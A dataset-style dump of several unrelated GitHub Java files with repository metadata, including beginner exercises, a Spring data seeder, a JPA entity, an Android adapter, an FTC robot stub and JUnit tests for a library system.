| no_license | srknair84/ACD_JAVAB_Session1_Assigment4 | https://github.com/srknair84/ACD_JAVAB_Session1_Assigment4 | 2b37fa29723b3492ce00847c8f4f27c987d66fdd | c3dadd2fb1eb7aba76069975e02939f47185ae20 | refs/heads/master | 2021-01-20T12:41:19.678000 | 2017-05-05T15:45:17 | 2017-05-05T15:45:17 | 90,391,973 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
public class SolvingExpression {
public static void main(String[] args) {
int a,b,c,d,x=5,y=10;
a=x+y*2;
b=x-y+2;
c=(x+y)*2;
d=y%x;
System.out.println("Value of a is : " +a);
System.out.println("Value of b is : " +b);
System.out.println("Value of c is : " +c);
System.out.println("Value of d is : " +d);
}
}
| UTF-8 | Java | 359 | java | SolvingExpression.java | Java | []
| null | []
|
public class SolvingExpression {
public static void main(String[] args) {
int a,b,c,d,x=5,y=10;
a=x+y*2;
b=x-y+2;
c=(x+y)*2;
d=y%x;
System.out.println("Value of a is : " +a);
System.out.println("Value of b is : " +b);
System.out.println("Value of c is : " +c);
System.out.println("Value of d is : " +d);
}
}
| 359 | 0.537604 | 0.520891 | 18 | 17.833334 | 17.761538 | 44 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.222222 | false | false | 1 |
d41341a6fb008693fea3a81798f1c04b5f04ef98 | 27,384,711,516,115 | 49b28efab46b6deefade5b1dcdcbb4f45aa96d58 | /src/main/java/com/lilyjordan/moochallenge/init/DataInit.java | a817f7295a5c56bd1c516754cf5adef053982c13 | []
| no_license | LilR/MooChallenge | https://github.com/LilR/MooChallenge | 9d107713e04d895f36697f3999a4bd587768c0ae | 94381cb3c72a8bcad78505d7f8803174e9749fba | refs/heads/master | 2020-06-13T03:20:12.968000 | 2019-06-30T15:55:19 | 2019-06-30T15:55:19 | 194,516,460 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.lilyjordan.moochallenge.init;
import com.lilyjordan.moochallenge.entity.Customer;
import com.lilyjordan.moochallenge.repository.CustomerRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.ApplicationArguments;
import org.springframework.boot.ApplicationRunner;
import org.springframework.stereotype.Component;
/**
* Created by Lily on 30/06/2019.
**/
@Component
public class DataInit implements ApplicationRunner {
private CustomerRepository customerRepository;
@Autowired
public DataInit(CustomerRepository customerRepository){
this.customerRepository = customerRepository;
}
@Override
public void run(ApplicationArguments args) throws Exception {
Customer bobSmith = new Customer();
bobSmith.setFirstName("Bob");
bobSmith.setSurname("Smith");
bobSmith.setPhoneNumber("+447123456789");
bobSmith.setEmailAddress("bob@bobsmith.com");
bobSmith.setPostalAddress("5 Drury Lane");
customerRepository.save(bobSmith);
}
} | UTF-8 | Java | 1,082 | java | DataInit.java | Java | [
{
"context": "framework.stereotype.Component;\n\n/**\n * Created by Lily on 30/06/2019.\n **/\n\n@Component\npublic class Data",
"end": 401,
"score": 0.9991074800491333,
"start": 397,
"tag": "NAME",
"value": "Lily"
},
{
"context": "ts args) throws Exception {\n Customer bobSmith = new Customer();\n bobSmith.setFirstName(\"",
"end": 781,
"score": 0.6295802593231201,
"start": 778,
"tag": "NAME",
"value": "ith"
},
{
"context": " = new Customer();\n bobSmith.setFirstName(\"Bob\");\n bobSmith.setSurname(\"Smith\");\n ",
"end": 834,
"score": 0.9993016719818115,
"start": 831,
"tag": "NAME",
"value": "Bob"
},
{
"context": "setFirstName(\"Bob\");\n bobSmith.setSurname(\"Smith\");\n bobSmith.setPhoneNumber(\"+447123456789",
"end": 872,
"score": 0.9989320635795593,
"start": 867,
"tag": "NAME",
"value": "Smith"
},
{
"context": "447123456789\");\n bobSmith.setEmailAddress(\"bob@bobsmith.com\");\n bobSmith.setPostalAddress(\"5 Drury Lan",
"end": 976,
"score": 0.9999197125434875,
"start": 960,
"tag": "EMAIL",
"value": "bob@bobsmith.com"
}
]
| null | []
| package com.lilyjordan.moochallenge.init;
import com.lilyjordan.moochallenge.entity.Customer;
import com.lilyjordan.moochallenge.repository.CustomerRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.ApplicationArguments;
import org.springframework.boot.ApplicationRunner;
import org.springframework.stereotype.Component;
/**
* Created by Lily on 30/06/2019.
**/
@Component
public class DataInit implements ApplicationRunner {
private CustomerRepository customerRepository;
@Autowired
public DataInit(CustomerRepository customerRepository){
this.customerRepository = customerRepository;
}
@Override
public void run(ApplicationArguments args) throws Exception {
Customer bobSmith = new Customer();
bobSmith.setFirstName("Bob");
bobSmith.setSurname("Smith");
bobSmith.setPhoneNumber("+447123456789");
bobSmith.setEmailAddress("<EMAIL>");
bobSmith.setPostalAddress("5 Drury Lane");
customerRepository.save(bobSmith);
}
} | 1,073 | 0.756932 | 0.737523 | 35 | 29.942858 | 23.900917 | 65 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.457143 | false | false | 1 |
e7278e45c6f7f105d0e4c6fb118c4785cd4397d9 | 24,592,982,774,199 | ca3d74b3271386a9a719a528f6ad966b4ed49088 | /Practice_Chap04_Control_Statement/src/sec01_verify/Exercise08.java | 16943d48a94d62d3aa4b1a374bef2d450b8038d1 | []
| no_license | Pastelkun99/Java_Bootcamp | https://github.com/Pastelkun99/Java_Bootcamp | 7f6f216a69103ee208105aa52548a007dd01fd4e | 656735530a2409554485116d2a0e715cecf24f83 | refs/heads/master | 2020-06-29T00:48:03.640000 | 2019-08-05T12:49:41 | 2019-08-05T12:49:41 | 200,388,391 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package sec01_verify;
import java.util.Scanner;
public class Exercise08 {
public static void main(String[] args) {
int num = 0;
Scanner scanner = new Scanner(System.in);
System.out.print("하나의 정수를 입력하세요 :");
num = scanner.nextInt();
scanner.close();
if ((num % 2 == 0) && (num % 3 == 0)) {
System.out.println(num + "은 2와 3의 배수입니다.");
} else if (num % 2 == 0) {
System.out.println(num + "은 2의 배수입니다.");
} else if (num % 3 == 0) {
System.out.println(num + "은 3의 배수입니다.");
} else if (num % 5 == 0) {
System.out.println(num + "은 5의 배수입니다.");
} else if (num % 7 == 0) {
System.out.println(num + "은 7의 배수입니다.");
} else {
System.out.println("배수가 아닙니다.");
}
}
}
| UHC | Java | 812 | java | Exercise08.java | Java | []
| null | []
| package sec01_verify;
import java.util.Scanner;
public class Exercise08 {
public static void main(String[] args) {
int num = 0;
Scanner scanner = new Scanner(System.in);
System.out.print("하나의 정수를 입력하세요 :");
num = scanner.nextInt();
scanner.close();
if ((num % 2 == 0) && (num % 3 == 0)) {
System.out.println(num + "은 2와 3의 배수입니다.");
} else if (num % 2 == 0) {
System.out.println(num + "은 2의 배수입니다.");
} else if (num % 3 == 0) {
System.out.println(num + "은 3의 배수입니다.");
} else if (num % 5 == 0) {
System.out.println(num + "은 5의 배수입니다.");
} else if (num % 7 == 0) {
System.out.println(num + "은 7의 배수입니다.");
} else {
System.out.println("배수가 아닙니다.");
}
}
}
| 812 | 0.572443 | 0.539773 | 31 | 21.709677 | 16.961424 | 46 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.83871 | false | false | 1 |
0b87ad2c94ea4079a79a415b4b5308e0cdde1984 | 6,399,501,304,379 | 8e236e72fb03f07eb6c45ffa662c7303df430c3e | /src/main/java/com/starstel/telcopro/stocks/entities/Mouvment.java | f2d8ec3f37c07c32448047eb2d1beb24b24a35c1 | []
| no_license | tinkam/mon-projet | https://github.com/tinkam/mon-projet | 2c8e2745c67dfa9912b138cf98ff680d6f71a231 | 48d556a1554d4871b03bb0aba13d5aef0566083d | refs/heads/master | 2020-04-07T23:44:49.798000 | 2018-11-23T11:45:13 | 2018-11-23T11:45:13 | 158,823,925 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.starstel.telcopro.stocks.entities;
import java.io.Serializable;
import java.util.Date;
import java.util.HashSet;
import java.util.Set;
import javax.persistence.CascadeType;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.ManyToOne;
import javax.persistence.OneToMany;
import javax.persistence.SequenceGenerator;
import com.fasterxml.jackson.annotation.JsonIgnore;
import com.starstel.telcopro.rh.entities.Employee;
import com.starstel.telcopro.rh.entities.WorkSpace;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
@Entity
@Getter @Setter @AllArgsConstructor @NoArgsConstructor
public class Mouvment implements Serializable
{
@Id
@SequenceGenerator(initialValue = 1, sequenceName = "TRANS_SEQ", allocationSize = 1, name = "trans_id")
@GeneratedValue(generator = "trans_id")
private Long id;
private String reference;
private Date date;
private Double quantity;
private Double priceTotal;
@ManyToOne
private WorkSpace workSpaceSource;
@ManyToOne
private WorkSpace workSpaceRecipient;
@JsonIgnore
@OneToMany(cascade=CascadeType.ALL, mappedBy="mouvment")
private Set<MouvmentLine> mouvmentLines = new HashSet<>();
@ManyToOne
private MouvmentType mouvmentType;
@ManyToOne
private Employee user;
@ManyToOne
private Recipient recipient;
@Override
public int hashCode() {
final int prime = 37;
int result = 1;
result = prime * result + ((date == null) ? 0 : date.hashCode());
result = prime * result + ((id == null) ? 0 : id.hashCode());
result = prime * result + ((priceTotal == null) ? 0 : priceTotal.hashCode());
result = prime * result + ((quantity == null) ? 0 : quantity.hashCode());
result = prime * result + ((reference == null) ? 0 : reference.hashCode());
return result;
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (getClass() != obj.getClass())
return false;
Mouvment other = (Mouvment) obj;
if (date == null) {
if (other.date != null)
return false;
} else if (!date.equals(other.date))
return false;
if (id == null) {
if (other.id != null)
return false;
} else if (!id.equals(other.id))
return false;
if (priceTotal == null) {
if (other.priceTotal != null)
return false;
} else if (!priceTotal.equals(other.priceTotal))
return false;
if (quantity == null) {
if (other.quantity != null)
return false;
} else if (!quantity.equals(other.quantity))
return false;
if (reference == null) {
if (other.reference != null)
return false;
} else if (!reference.equals(other.reference))
return false;
return true;
}
}
| UTF-8 | Java | 2,779 | java | Mouvment.java | Java | []
| null | []
| package com.starstel.telcopro.stocks.entities;
import java.io.Serializable;
import java.util.Date;
import java.util.HashSet;
import java.util.Set;
import javax.persistence.CascadeType;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.ManyToOne;
import javax.persistence.OneToMany;
import javax.persistence.SequenceGenerator;
import com.fasterxml.jackson.annotation.JsonIgnore;
import com.starstel.telcopro.rh.entities.Employee;
import com.starstel.telcopro.rh.entities.WorkSpace;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
@Entity
@Getter @Setter @AllArgsConstructor @NoArgsConstructor
public class Mouvment implements Serializable
{
@Id
@SequenceGenerator(initialValue = 1, sequenceName = "TRANS_SEQ", allocationSize = 1, name = "trans_id")
@GeneratedValue(generator = "trans_id")
private Long id;
private String reference;
private Date date;
private Double quantity;
private Double priceTotal;
@ManyToOne
private WorkSpace workSpaceSource;
@ManyToOne
private WorkSpace workSpaceRecipient;
@JsonIgnore
@OneToMany(cascade=CascadeType.ALL, mappedBy="mouvment")
private Set<MouvmentLine> mouvmentLines = new HashSet<>();
@ManyToOne
private MouvmentType mouvmentType;
@ManyToOne
private Employee user;
@ManyToOne
private Recipient recipient;
@Override
public int hashCode() {
final int prime = 37;
int result = 1;
result = prime * result + ((date == null) ? 0 : date.hashCode());
result = prime * result + ((id == null) ? 0 : id.hashCode());
result = prime * result + ((priceTotal == null) ? 0 : priceTotal.hashCode());
result = prime * result + ((quantity == null) ? 0 : quantity.hashCode());
result = prime * result + ((reference == null) ? 0 : reference.hashCode());
return result;
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (getClass() != obj.getClass())
return false;
Mouvment other = (Mouvment) obj;
if (date == null) {
if (other.date != null)
return false;
} else if (!date.equals(other.date))
return false;
if (id == null) {
if (other.id != null)
return false;
} else if (!id.equals(other.id))
return false;
if (priceTotal == null) {
if (other.priceTotal != null)
return false;
} else if (!priceTotal.equals(other.priceTotal))
return false;
if (quantity == null) {
if (other.quantity != null)
return false;
} else if (!quantity.equals(other.quantity))
return false;
if (reference == null) {
if (other.reference != null)
return false;
} else if (!reference.equals(other.reference))
return false;
return true;
}
}
| 2,779 | 0.713206 | 0.709608 | 100 | 26.790001 | 19.52808 | 104 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.91 | false | false | 1 |
365affdf3b2f2ff1743000bb981ecbcf4a31c873 | 18,305,150,645,183 | dd0f7fb2f01aa78eecaa17827fbd1e15ec165183 | /app/src/main/java/com/pragjan/leaguescheduler/custom_pointTableAdapter.java | 357f70cdf0b57de22e3558848b3bc22e8b5d6684 | []
| no_license | mailpraga/LeagueScheduler | https://github.com/mailpraga/LeagueScheduler | e7c385cadf0a53ba22f911b2db73092d9b5f0ac4 | 9e2af3405841e1b5d9fa5d89d867d01fc904b91b | refs/heads/master | 2016-09-06T04:27:54.807000 | 2015-04-05T14:16:19 | 2015-04-05T14:16:19 | 32,901,553 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.pragjan.leaguescheduler;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.TextView;
import java.util.List;
public class custom_pointTableAdapter extends ArrayAdapter<player> {
private List<player> thePlayer;
public custom_pointTableAdapter(Context context, List<player> thePlayer) {
super(context, R.layout.custom_pointtablerow, thePlayer);
this.thePlayer = thePlayer;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
// Get the data item for this position
player thePlayer = getItem(position);
// Check if an existing view is being reused, otherwise inflate the view
ViewHolder viewHolder; // view lookup cache stored in tag
// Check if an existing view is being reused, otherwise inflate the view
if (convertView == null) {
viewHolder = new ViewHolder();
convertView = LayoutInflater.from(getContext()).inflate(R.layout.custom_pointtablerow, parent, false);
viewHolder.playerName = (TextView) convertView.findViewById(R.id.playerNameTextView);
viewHolder.matchPlayed = (TextView) convertView.findViewById(R.id.matchPlayedTextView);
viewHolder.win = (TextView) convertView.findViewById(R.id.winTextView);
viewHolder.loss = (TextView) convertView.findViewById(R.id.lossTextView);
viewHolder.draw = (TextView) convertView.findViewById(R.id.drawTextView);
viewHolder.gDiff = (TextView) convertView.findViewById(R.id.goalDiffTextView);
viewHolder.point = (TextView) convertView.findViewById(R.id.pointTextView);
convertView.setTag(viewHolder);
} else {
viewHolder = (ViewHolder) convertView.getTag();
}
if (position % 2 == 0) {
convertView.setBackgroundResource(R.drawable.list_background1);
} else {
convertView.setBackgroundResource(R.drawable.list_background2);
}
viewHolder.playerName.setText(thePlayer.get_name());
viewHolder.matchPlayed.setText("" + thePlayer.get_matchPlayed());
viewHolder.win.setText("" + thePlayer.get_win());
viewHolder.loss.setText("" + thePlayer.get_loss());
viewHolder.draw.setText("" + thePlayer.get_draw());
viewHolder.gDiff.setText("" + thePlayer.get_goalDiff());
viewHolder.point.setText("" + thePlayer.get_point());
return convertView;
}
private class ViewHolder {
TextView playerName;
TextView matchPlayed;
TextView win;
TextView loss;
TextView draw;
TextView gDiff;
TextView point;
}
} | UTF-8 | Java | 2,820 | java | custom_pointTableAdapter.java | Java | []
| null | []
| package com.pragjan.leaguescheduler;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.TextView;
import java.util.List;
public class custom_pointTableAdapter extends ArrayAdapter<player> {
private List<player> thePlayer;
public custom_pointTableAdapter(Context context, List<player> thePlayer) {
super(context, R.layout.custom_pointtablerow, thePlayer);
this.thePlayer = thePlayer;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
// Get the data item for this position
player thePlayer = getItem(position);
// Check if an existing view is being reused, otherwise inflate the view
ViewHolder viewHolder; // view lookup cache stored in tag
// Check if an existing view is being reused, otherwise inflate the view
if (convertView == null) {
viewHolder = new ViewHolder();
convertView = LayoutInflater.from(getContext()).inflate(R.layout.custom_pointtablerow, parent, false);
viewHolder.playerName = (TextView) convertView.findViewById(R.id.playerNameTextView);
viewHolder.matchPlayed = (TextView) convertView.findViewById(R.id.matchPlayedTextView);
viewHolder.win = (TextView) convertView.findViewById(R.id.winTextView);
viewHolder.loss = (TextView) convertView.findViewById(R.id.lossTextView);
viewHolder.draw = (TextView) convertView.findViewById(R.id.drawTextView);
viewHolder.gDiff = (TextView) convertView.findViewById(R.id.goalDiffTextView);
viewHolder.point = (TextView) convertView.findViewById(R.id.pointTextView);
convertView.setTag(viewHolder);
} else {
viewHolder = (ViewHolder) convertView.getTag();
}
if (position % 2 == 0) {
convertView.setBackgroundResource(R.drawable.list_background1);
} else {
convertView.setBackgroundResource(R.drawable.list_background2);
}
viewHolder.playerName.setText(thePlayer.get_name());
viewHolder.matchPlayed.setText("" + thePlayer.get_matchPlayed());
viewHolder.win.setText("" + thePlayer.get_win());
viewHolder.loss.setText("" + thePlayer.get_loss());
viewHolder.draw.setText("" + thePlayer.get_draw());
viewHolder.gDiff.setText("" + thePlayer.get_goalDiff());
viewHolder.point.setText("" + thePlayer.get_point());
return convertView;
}
private class ViewHolder {
TextView playerName;
TextView matchPlayed;
TextView win;
TextView loss;
TextView draw;
TextView gDiff;
TextView point;
}
} | 2,820 | 0.675532 | 0.674113 | 67 | 41.104477 | 30.416086 | 114 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.746269 | false | false | 1 |
c804567ef21c122805c5526f8e4c8a01fda3e3a7 | 14,096,082,702,196 | 96062c20aacb0c68134a160cd013372fce2750ca | /src/main/java/BigsCompare.java | 6099d059dbcc7d7385d77d0e53f786a2abbb4746 | []
| no_license | giraudev/testando | https://github.com/giraudev/testando | a7aa213919f54af95bd1996a9ce8e510ff2cda07 | 830e7046677bd1af43e5710aa1aada2f890ec541 | refs/heads/master | 2021-02-16T16:05:59.606000 | 2020-03-04T23:03:47 | 2020-03-04T23:03:47 | 245,022,045 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import java.math.BigDecimal;
public class BigsCompare {
public static void main(String[] args) {
BigDecimal amount = BigDecimal.valueOf(668.03);
BigDecimal fee = BigDecimal.valueOf(678.02);
Double transaction = amount.compareTo(fee) >= 0 ? amount.doubleValue() : fee.doubleValue();
System.out.println(transaction);
}
}
| UTF-8 | Java | 362 | java | BigsCompare.java | Java | []
| null | []
| import java.math.BigDecimal;
public class BigsCompare {
public static void main(String[] args) {
BigDecimal amount = BigDecimal.valueOf(668.03);
BigDecimal fee = BigDecimal.valueOf(678.02);
Double transaction = amount.compareTo(fee) >= 0 ? amount.doubleValue() : fee.doubleValue();
System.out.println(transaction);
}
}
| 362 | 0.671271 | 0.640884 | 12 | 29.166666 | 29.359364 | 99 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.416667 | false | false | 1 |
81ddab86811c12c1c1349685bd5fdf0f80432569 | 25,031,069,441,157 | eca0f93df12c2e17fad6d29e663da9f961d4d6c9 | /SpellcastUI/src/main/java/com/hlidskialf/spellcast/swing/Main.java | bbae312d81232d98f57b3546ee007b85ccd3220e | []
| no_license | lithium/spellcast | https://github.com/lithium/spellcast | bfd1c6a515276a73ba275dc4bddb0a6b4b4ff134 | a15e7e017e965bf68c53cfda1ef7db243e5e3500 | refs/heads/master | 2021-01-10T20:33:51.651000 | 2015-01-29T05:13:12 | 2015-01-29T05:13:12 | 29,110,096 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.hlidskialf.spellcast.swing;
import javax.swing.*;
import javax.swing.plaf.metal.MetalLookAndFeel;
/**
* Created by wiggins on 1/11/15.
*/
public class Main {
public static void main(final String[] args) {
javax.swing.SwingUtilities.invokeLater(new Runnable() {
public void run() {
SpellcastForm.main(args);
}
});
}
}
| UTF-8 | Java | 400 | java | Main.java | Java | [
{
"context": "ng.plaf.metal.MetalLookAndFeel;\n\n/**\n * Created by wiggins on 1/11/15.\n */\npublic class Main {\n\n public s",
"end": 137,
"score": 0.9996556043624878,
"start": 130,
"tag": "USERNAME",
"value": "wiggins"
}
]
| null | []
| package com.hlidskialf.spellcast.swing;
import javax.swing.*;
import javax.swing.plaf.metal.MetalLookAndFeel;
/**
* Created by wiggins on 1/11/15.
*/
public class Main {
public static void main(final String[] args) {
javax.swing.SwingUtilities.invokeLater(new Runnable() {
public void run() {
SpellcastForm.main(args);
}
});
}
}
| 400 | 0.61 | 0.5975 | 20 | 19 | 19.806564 | 63 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | false | false | 1 |
6671e23b9f72b3dd85c36d980046d3f62bbe6f50 | 4,853,313,083,820 | d99e6aa93171fafe1aa0bb39b16c1cc3b63c87f1 | /stress/src/main/java/com/stress/sub1/sub1/sub4/Class3238.java | 8d64a69391c6fdc476d0f98a7979d52c319be22a | []
| no_license | jtransc/jtransc-examples | https://github.com/jtransc/jtransc-examples | 291c9f91c143661c1776ddb7a359790caa70a37b | f44979531ac1de72d7af52545c4a9ef0783a0d5b | refs/heads/master | 2021-01-17T13:19:55.535000 | 2017-09-13T06:31:25 | 2017-09-13T06:31:25 | 51,407,684 | 14 | 4 | null | false | 2017-07-04T10:18:40 | 2016-02-09T23:11:45 | 2017-06-09T11:28:10 | 2017-07-04T10:18:40 | 2,529 | 4 | 3 | 1 | Java | null | null | package com.stress.sub1.sub1.sub4;
import com.jtransc.annotation.JTranscKeep;
@JTranscKeep
public class Class3238 {
public static final String static_const_3238_0 = "Hi, my num is 3238 0";
static int static_field_3238_0;
int member_3238_0;
public void method3238()
{
System.out.println(static_const_3238_0);
}
public void method3238_1(int p0, String p1)
{
System.out.println(p1);
}
}
| UTF-8 | Java | 394 | java | Class3238.java | Java | []
| null | []
| package com.stress.sub1.sub1.sub4;
import com.jtransc.annotation.JTranscKeep;
@JTranscKeep
public class Class3238 {
public static final String static_const_3238_0 = "Hi, my num is 3238 0";
static int static_field_3238_0;
int member_3238_0;
public void method3238()
{
System.out.println(static_const_3238_0);
}
public void method3238_1(int p0, String p1)
{
System.out.println(p1);
}
}
| 394 | 0.741117 | 0.629442 | 24 | 15.416667 | 19.463463 | 72 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.458333 | false | false | 1 |
8301df04b8d51eb469fb67aba02889cd2c2081c0 | 20,624,432,999,818 | 443c8f0576168b9d05d70eac671f66965f5f3212 | /TeamCode/src/main/java/org/firstinspires/ftc/teamcode/Saline_BLUE_FRONT.java | 08cde6c69c4bb746041661180079c87174f333de | [
"BSD-3-Clause"
]
| permissive | SalineRobotics/RoverRuckus2018 | https://github.com/SalineRobotics/RoverRuckus2018 | 7971c536e33ded8faf752ec35cf3bcaa0f7863f7 | e7cd169423c11aeb6d342725923a1da928b53001 | refs/heads/master | 2020-04-04T08:34:53.193000 | 2018-12-05T22:34:43 | 2018-12-05T22:34:43 | 155,786,679 | 1 | 2 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package org.firstinspires.ftc.teamcode;
import com.qualcomm.robotcore.eventloop.opmode.Autonomous;
import com.qualcomm.robotcore.eventloop.opmode.Disabled;
@Disabled
@Autonomous(name = "BLUE_FRONT", group = "Concept")
public class Saline_BLUE_FRONT extends smsAuton {} | UTF-8 | Java | 271 | java | Saline_BLUE_FRONT.java | Java | []
| null | []
|
package org.firstinspires.ftc.teamcode;
import com.qualcomm.robotcore.eventloop.opmode.Autonomous;
import com.qualcomm.robotcore.eventloop.opmode.Disabled;
@Disabled
@Autonomous(name = "BLUE_FRONT", group = "Concept")
public class Saline_BLUE_FRONT extends smsAuton {} | 271 | 0.804428 | 0.804428 | 8 | 32.875 | 23.866491 | 58 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | false | false | 1 |
14c069ebe3bcfcba20c977d2b122e10c5ea85806 | 29,300,266,921,900 | 02a19b0ed084943494a49554c97ec3999f883c41 | /src/test/java/model/RingsTest.java | 9a5457603dbe182d04cbbf97be26435c532421ec | []
| no_license | drusil/L5RPDF | https://github.com/drusil/L5RPDF | cde42d1bcc6dac5cff65bec6b51271c7a1388784 | ce8f99175d2c570796c2b74a631e7a6aff7c9393 | refs/heads/master | 2020-04-16T14:27:56.836000 | 2019-01-14T13:37:10 | 2019-01-14T13:37:10 | 165,667,788 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package model;
import model.enums.RingsEnum;
import org.junit.Before;
import org.junit.Test;
import java.util.Arrays;
import java.util.List;
import java.util.stream.Collectors;
import static org.junit.Assert.*;
public class RingsTest {
Rings rings;
@Before
public void before(){
rings = new Rings();
}
@Test
public void whenCreatedSetUpProperly(){
List<String> elementRings = Arrays.asList(
new ElementRing(RingsEnum.AIR),
new ElementRing(RingsEnum.EARTH),
new ElementRing(RingsEnum.FIRE),
new ElementRing(RingsEnum.WATER)
).stream().map(ElementRing::getName)
.collect(Collectors.toList());
assertTrue(elementRings.stream()
.allMatch((ring) -> rings.getElementRings().stream()
.map(ElementRing::getName)
.collect(Collectors.toList())
.contains(ring)));
assertEquals("Void", rings.getRingOfVoid().getName());
}
@Test
public void youCanGetRingByName(){
ElementRing ring = rings.getRing("Air");
assertEquals("Air", ring.getName());
}
@Test
public void youCanGetRingWithCartaintAtributeByAtributeName(){
ElementRing ring = rings.getRingWithAtribute("Awareness");
assertEquals("Air", ring.getName());
}
} | UTF-8 | Java | 1,375 | java | RingsTest.java | Java | []
| null | []
| package model;
import model.enums.RingsEnum;
import org.junit.Before;
import org.junit.Test;
import java.util.Arrays;
import java.util.List;
import java.util.stream.Collectors;
import static org.junit.Assert.*;
public class RingsTest {
Rings rings;
@Before
public void before(){
rings = new Rings();
}
@Test
public void whenCreatedSetUpProperly(){
List<String> elementRings = Arrays.asList(
new ElementRing(RingsEnum.AIR),
new ElementRing(RingsEnum.EARTH),
new ElementRing(RingsEnum.FIRE),
new ElementRing(RingsEnum.WATER)
).stream().map(ElementRing::getName)
.collect(Collectors.toList());
assertTrue(elementRings.stream()
.allMatch((ring) -> rings.getElementRings().stream()
.map(ElementRing::getName)
.collect(Collectors.toList())
.contains(ring)));
assertEquals("Void", rings.getRingOfVoid().getName());
}
@Test
public void youCanGetRingByName(){
ElementRing ring = rings.getRing("Air");
assertEquals("Air", ring.getName());
}
@Test
public void youCanGetRingWithCartaintAtributeByAtributeName(){
ElementRing ring = rings.getRingWithAtribute("Awareness");
assertEquals("Air", ring.getName());
}
} | 1,375 | 0.619636 | 0.619636 | 61 | 21.557377 | 21.214382 | 65 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.377049 | false | false | 1 |
86a273473559cdcfb03f2c5703cae6641e7b95bb | 23,304,492,583,200 | 2ff1d323cdaa3f981bb3fcc029369fe00ff6226e | /test/com/twu/biblioteca/librarySystemTest.java | 495d18b7bb9bce3e4f1472756437eac0995202e7 | [
"Apache-2.0"
]
| permissive | xhygithub/twu-biblioteca-haiyan | https://github.com/xhygithub/twu-biblioteca-haiyan | 3b663f4dd17f15d6698c86252ed10156d8e48a2e | 374ce7c7c4a1c57cfbfd52e0ecfcdc5e5ba32196 | refs/heads/master | 2021-01-10T01:55:01.805000 | 2016-03-10T11:01:59 | 2016-03-10T11:01:59 | 52,859,457 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.twu.biblioteca;
import org.junit.Test;
import java.util.ArrayList;
import java.util.HashMap;
import static org.junit.Assert.*;
/**
* Created by twcn on 3/7/16.
*/
public class librarySystemTest {
@Test
public void should_return_fixed_welcome_message_when_be_welcomeMessage_called() throws Exception {
String welcomeMessage = new librarySystem().welcomeMessage();
assertEquals("Welcome! the application is available.", welcomeMessage);
}
@Test
public void should_return_bookName_when_be_getBookLists_called() throws Exception {
ArrayList<HashMap<String, Object>> list = new ArrayList<HashMap<String, Object>>();
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("bookName", "TDD Methods");
map.put("author", "Tom");
map.put("publishDate", "2013-2-4");
list.add(map);
map = new HashMap<String, Object>();
map.put("bookName", "Code Refactoring Methods");
map.put("author", "Allan");
map.put("publishDate", "2011-2-4");
list.add(map);
String bookLists = new librarySystem().getBookLists(list);
assertEquals("TDD Methods\n" + "Code Refactoring Methods\n", bookLists);
}
@Test
public void should_return_bookLists_information_when_getBookInfo_be_called() throws Exception {
ArrayList<HashMap<String, Object>> list = new ArrayList<HashMap<String, Object>>();
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("bookName", "TDD Methods");
map.put("author", "Tom");
map.put("publishDate", "2013-2-4");
list.add(map);
map = new HashMap<String, Object>();
map.put("bookName", "Code Refactoring Methods");
map.put("author", "Allan");
map.put("publishDate", "2011-2-4");
list.add(map);
String bookLists = new librarySystem().getBookInfo(list);
assertEquals("TDD Methods\tTom\t2013-2-4\n" + "Code Refactoring Methods\tAllan\t2011-2-4\n", bookLists);
}
@Test
public void should_return_two_options_when_showmenu_be_called() throws Exception {
String menuOptions = new librarySystem().showMenu();
assertEquals("[1]\tlistBooks\n" + "[2]\tquit\n", menuOptions);
}
@Test
public void should_return_the_checkout_success_when_checkout_be_called_and_the_number_is_1() throws Exception {
ArrayList<HashMap<String, Object>> list = new ArrayList<HashMap<String, Object>>();
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("bookName", "TDD Methods");
map.put("author", "Tom");
map.put("publishDate", "2013-2-4");
list.add(map);
map = new HashMap<String, Object>();
map.put("bookName", "Code Refactoring Methods");
map.put("author", "Allan");
map.put("publishDate", "2011-2-4");
list.add(map);
ArrayList checkoutLists = new ArrayList();
boolean isCheckout =new librarySystem().checkOut(1, list, checkoutLists);
assertEquals(isCheckout, true);
}
